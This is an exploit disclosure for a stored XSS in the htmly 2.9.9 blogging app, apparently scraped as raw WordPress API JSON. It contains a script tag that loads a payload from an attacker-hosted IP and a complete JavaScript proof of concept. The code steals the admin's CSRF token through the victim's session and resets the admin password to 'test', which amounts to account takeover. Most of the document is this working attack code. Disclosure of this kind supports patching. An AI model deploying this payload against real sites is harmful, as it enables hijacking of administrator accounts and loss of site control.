# Exploit Title: Stored XSS to Account Takeover – htmlyv2.9.9
# Date: 9\/2024
# Exploit Author: Andrey Stoykov
# Version: 2.9.9
# Tested on: Ubuntu 22.04
# Blog:
https:\/\/msecureltd.blogspot.com\/2024\/08\/friday-fun-pentest-series-9-stored-xss.html<\/p>\n
Description:<\/p>\n
– It was found that the application suffers from stored XSS<\/p>\n
– Low level user having an “author” role can takeover admin account and
change their password via posting a malicious post with a reference to a
payload hosted on attacker domain<\/p>\n
Stored XSS to Account Takeover #1:<\/p>\n
Steps to Reproduce:<\/p>\n
1. Visit “My Posts” > “Add New Post” > “Regular Post”
2. Enter the following payload into the “Content” referencing externally
hosted POC in Javascript:
<script src=”http:\/\/192.168.159.191:8000\/xss.js”><\/script>
3. Upon visiting the blog post, the admin account password would be changed
to “test”
4. In the XSS payload pasted below need to adjust the “passwordChangeUrl”,
“username” and “password”<\/p>\n
\/\/ Javascript POC<\/p>\n
\/\/ Function to fetch CSRF token and perform password change
(function() {
\/\/ URL of the password change page
const passwordChangePageUrl = ‘
http:\/\/192.168.159.191\/htmly\/edit\/password’;<\/p>\n
\/\/ Function to fetch the CSRF token
function fetchCsrfToken() {
fetch(passwordChangePageUrl, {
method: ‘GET’,
credentials: ‘include’ \/\/ Include cookies for the current
session
})
.then(response => response.text())
.then(html => {
\/\/ Parse the HTML to find the CSRF token
const parser = new DOMParser();
const doc = parser.parseFromString(html, ‘text\/html’);
const csrfTokenInput =
doc.querySelector(‘input[name=”csrf_token”]’);
if (csrfTokenInput) {
const csrfToken = csrfTokenInput.value;
console.log(‘CSRF Token:’, csrfToken);
changePassword(csrfToken);
} else {
console.error(‘CSRF token not found’);
}
})
.catch(error => console.error(‘Error fetching CSRF token:’,
error));
}<\/p>\n
\/\/ Function to change the password
function changePassword(csrfToken) {
const postData = new URLSearchParams();
postData.append(‘csrf_token’, csrfToken);
postData.append(‘username’, ‘admin’);
postData.append(‘password’, ‘test’);<\/p>\n
fetch(passwordChangePageUrl, {
method: ‘POST’,
body: postData,
headers: {
‘Content-Type’: ‘application\/x-www-form-urlencoded’
},
credentials: ‘include’ \/\/ Include cookies for the current
session
})
.then(response => response.text())
.then(data => {
console.log(‘Password change response:’, data);
})
.catch(error => console.error(‘Error changing password:’,
error));
}<\/p>\n
\/\/ Trigger the CSRF token fetch and password change
fetchCsrfToken();
})();<\/p>\n","protected":false},"excerpt":{"rendered":"
# Exploit Title: Stored XSS to Account Takeover – htmlyv2.9.9# Date: 9\/2024# Exploit Author: Andrey Stoykov# Version: 2.9.9# Tested on: Ubuntu 22.04# Blog:https:\/\/msecureltd.blogspot.com\/2024\/08\/friday-fun-pentest-series-9-stored-xss.html Description: – It was found that the application suffers from stored XSS – Low level user having an “author” role can takeover admin account andchange their password via posting a malicious post …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59749","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59749","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59749"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59749\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59749"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59749"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59749"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}